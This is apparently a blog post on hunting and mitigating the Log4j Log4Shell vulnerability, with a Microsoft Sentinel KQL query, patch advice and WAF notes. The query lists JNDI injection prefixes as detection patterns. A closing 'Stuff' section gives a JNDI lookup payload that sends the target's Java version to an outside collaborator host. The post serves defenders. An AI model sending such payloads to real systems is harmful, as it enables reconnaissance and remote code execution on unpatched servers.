Hunting Log4j with Sentinel

This short blog post will guide how to Hunting Log4j with Microsoft Sentinel.

On Dec. 9, 2021, a remote code execution (RCE) vulnerability in Apache log4j 2 was identified as being exploited in the wild. PoC code was released, and subsequent investigation revealed that exploitation was effortless to perform. By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker can instruct that system to download and subsequently execute a malicious payload.

Like many high severity RCE exploits, thus far, massive scanning activity for CVE-2021-44228 has begun on the internet with the intent of seeking out and exploiting unpatched systems. Due to the discovery of this exploit being so recent, many servers, both on-premises and within cloud environments, have yet to be patched. We highly recommend that organizations upgrade to the latest version (2.15.0-rc2) of Apache log4j 2 for all systems.

Image credit: GovCERT

CVE-2021-44228 is considered a critical flaw, and it has a base CVSS score of 10 — the highest possible severity rating.

“Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP [Lightweight Directory Access Protocol] and other JNDI [Java Naming and Directory Interface] related endpoints,” the description reads. “An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.”

Affected Version

Apache Log4j 2.x <= 2.15.0-rc1

Affected Software

A significant number of Java-based applications use log4j as their logging utility and are vulnerable to this CVE. To the best of our knowledge, at least the following software may be impacted:

• Apache Struts
• Apache Solr
• Apache Druid
• Apache Flink
• ElasticSearch
• Flume
• Apache Dubbo
• Logstash
• Kafka
• Spring-Boot-starter-log4j2
• and many more

Background on Apache log4j 2

Apache log4j 2 is an open-source Java-based logging framework leveraged within numerous Java applications worldwide. Compared with the original log4j 1. X release, log4j 2 addressed issues with the previous release and offered a plugin architecture for users. On Aug. 5, 2015, log4j 2 became the mainstream version, and all of the earlier version log4j users were recommended to upgrade to log4j 2. Apache log4j 2 is widely used in many popular software applications, such as Apache Struts, ElasticSearch, Redis, Kafka, etc.

While supplying an easy and flexible user experience, Apache log4j 2 has historically been vulnerable to process and deserialize user inputs. Two previous deserialization vulnerabilities, CVE-2017-5645 and CVE-2019-17571, were previously discovered, resulting in code injection and further RCE due to a lack of necessary processing against provided user input data.

• CVE-2017-5645: For Apache log4j 2. x before 2.8.2, the log4j servers will deserialize any log events received from other applications through TCP or UDP socket servers. If a crafted binary payload is sent using this vulnerability, it can execute arbitrary code.
• CVE-2019-17571: For Apache log4j versions from 1.2 (up to 1.2.17), the SocketServer class is vulnerable to deserialization of untrusted data, leading to remote code execution combined with a deserialization gadget.

Description of the Vulnerability (CVE-2021-44228)

The Apache log4j library allows developers to log various data within their applications. In certain circumstances, the data being logged originates from user input. Should this user input contain special characters and be subsequently logged within the context of log4j, the Java method lookup will finally be called to execute the user-defined remote Java class in the LDAP server. This will, in turn, lead to RCE on the victim server that uses the vulnerable log4j 2 instances.

Patch & Things

Patching – With the official Apache patch being released, 2.15.0-rc1 was initially reported to have fixed the CVE-2021-44228 vulnerability. However, a subsequent bypass was discovered. A newly released 2.15.0-rc2 version was released, protecting users against this vulnerability.

Know your Assets – Depending on the software you are running, not every instance of a zero-day will affect you. An organization should conduct ongoing asset inventory and vulnerability assessments. Then uninstall any software that is no longer needed and on software still required disable any features that are not necessary. This action will decrease your potential attack surface and eliminate the impact of certain zero-days that target the removed software or the disabled features.

Note: it’s tough to know which assets use java and have log4j enabled. Make sure you have the correct tools.

Attack Kill Chain Breakdown – A successful compromise involves many phases, which is good news for you because it gives opportunities to prevent an attack before it can inflict any damage. To achieve this, organizations must continuously monitor their network, which can be conducted by deploying a whole stack of intelligent security products, using generic, behavior, and heuristic-based threat visibility and detection approaches. Next, utilize threat hunting to search systems for vulnerabilities actively.

Stay Tuned and make sure your system admins keep an eye on not only their systems but on the news as zero-day activity, along with other types of attacks, often make headlines. In addition, employees must be trained and made aware that their actions can have negative consequences. That includes clicking on a malicious link that could trigger a zero-day. While perfect behavior is impossible, it’s still important to rely on workers, primarily if the security products in place do not provide the proactive defense needed to address today’s threats.

Detecting Log4j 2 RCE

Currently, there is a bunch of network scanning taking place. Now, this scanning will provide a bunch of IP addresses that can be added to your watchlists. However, because we know that adversaries change their IP addresses as frequently as I change my shirt (that’s every day, btw), this may not be the best way to identify this behavior over the long term.

It’s important to note that while much of the scanning behavior reported has uncovered the ${jndi string in the user agent field, the line could be found elsewhere. To address this, we developed an initial search for a portion of the malicious User-Agent and a second, broader search to look for the suspicious string elsewhere.

Microsoft Sentinel Detection

Microsoft Sentinel can detect, identify and hunt for log4j actions. The hunting can be based on many tables, such as Syslog, Azure Diagnostic table, and others. Below are specific hunting, query to detect log4j. Below down, there’s a link to more hunting queries.

// Potential exploitation of Apache log4j component detected
let log4jcmd = dynamic([“jndi:ldap”,”jndi:dns”,”jndi:rmi”,”jndi:corba”,”jndi:iiop”,”jndi:nis”,”jndi:nds”]);
AzureDiagnostics
| where originalRequestUriWithArgs_s has_any (log4jcmd)
| where userAgent_s has_any (“curl”, “wget”)
| summarize Total = count() by originalRequestUriWithArgs_s, userAgent_s, clientIP_s, TimeGenerated, host_s, requestUri_s, httpStatus_d,listenerName_s
| sort by originalRequestUriWithArgs_s asc, Total desc

For more hunting query go to Azure-Sentinel-4-SecOps/Hunting/CVE-2021-44228-Logshell.

For Payloads and IOC’s go to the GreyNoise Log4Shell Payloads (github.com)

Defender for Endpoint Style

We can detect which device contains the log4j and if we’ve got a successful connection for the java app.

Azure-Sentinel-4-SecOps/hunt-log4j-mde.kusto at master · eshlomo1/Azure-Sentinel-4-SecOps (github.com)

Azure Firewall Premium

Customers using Azure Firewall Premium have enhanced protection from the Log4j RCE CVE-2021-44228 vulnerability and exploit. Azure Firewall premium IDPS (Intrusion Detection and Prevention System) provides IDPS inspection for all east-west traffic and outbound traffic to the internet. The vulnerability rulesets are continuously updated and include CVE-2021-44228 vulnerability for different scenarios, including UDP, TCP, HTTP/S protocols.

Mitigate CVE-2021-44228

Attempts to mitigate CVE-2021-44228 resulted in at least two fixes in release candidates of Log4j2 since November 2021. on Nov. 29, 2021, the first included a partial fix by disabling message lookups for logging mechanism API functions. The second, released on Dec. 5, 2021, restricted the accesses and protocols that Log4j2 permits via Lightweight Directory Access Protocol (LDAP) and the Java Naming and Directory Interface (JNDI).

However, industry sources suggest these fixes were incomplete, as the initial release candidate (Log4j2 2.15.0-rc1) addressing CVE-2021-44228 could be bypassed to achieve RCE. As of Dec. 10, 2021, version Log4j2 2.15.0-rc2 is recommended for use; however, guidance around this could change as more information is uncovered.

A new version of Log4j 2, published on Dec. 6, 2021, introduces the following new security controls for JNDI session security controls to restrict access to remote resources:

• allowedJndiProtocols specifies JNDI protocols to those listed; default: none
• allowedLdapHosts restricts LDAP requests to listed hosts; default: none
• allowedLdapClasses lists names of allowed remote Java classes; default: none

To prevent attacks on a network level and the vulnerable Java service from downloading a malicious class file via LDAP, outbound connections from affected servers can be limited to trusted hosts and protocols to prevent the weak Java service from downloading a malicious class file via LDAP.

Exploitation attempts can be detected by inspecting log files for the characteristic URL pattern ${jndi:ldap://. The following Snort rules implement the same strategy on the network level. The second rule alerts the typical Java class file header transferred over an incoming TCP session. Of note, this second rule serves as an emergency rule that presents an additional means of detecting intrusion attempts, and the target host and port must be set to the service in question to prevent false positives.

This vulnerability is in the wild, and it is highly advisable to assess the use and impact of log4j and patch as soon as possible.

To mitigate, the following options are available (see the advisory from Apache here):

• Upgrade to log4j v2.15.0
• If you are using log4j v2.10 or above, and cannot upgrade, then set the property log4j2.formatMsgNoLookups=true
• If else, remove the JndiLookup class from the classpath.

TIP: you can run a command like zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class to remove the class from the log4j-core.

Azure WAF

Cuz’ we don’t know which apps are using java, we must contain any potential actions by the Azure WAF. Below is one of many examples that can be blocked by Azure WAF with a specific string and based on user-agent and other parameters for JNDI.

Stuff

Check Java Version – Want to know the Java version running on the target? ${jndi:ldap://${sys:java.version}.collaborator.com} List of other available system properties:

References

Log4j – Apache Log4j Security Vulnerabilities

Log4j – Log4j 2 Architecture (apache.org)

Microsoft’s Response to CVE-2021-44228 Apache Log4j 2 – Microsoft Security Response Center

Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation – Microsoft Security Blog

Zero-Day Exploit Targeting Popular Java Library Log4j (govcert.ch)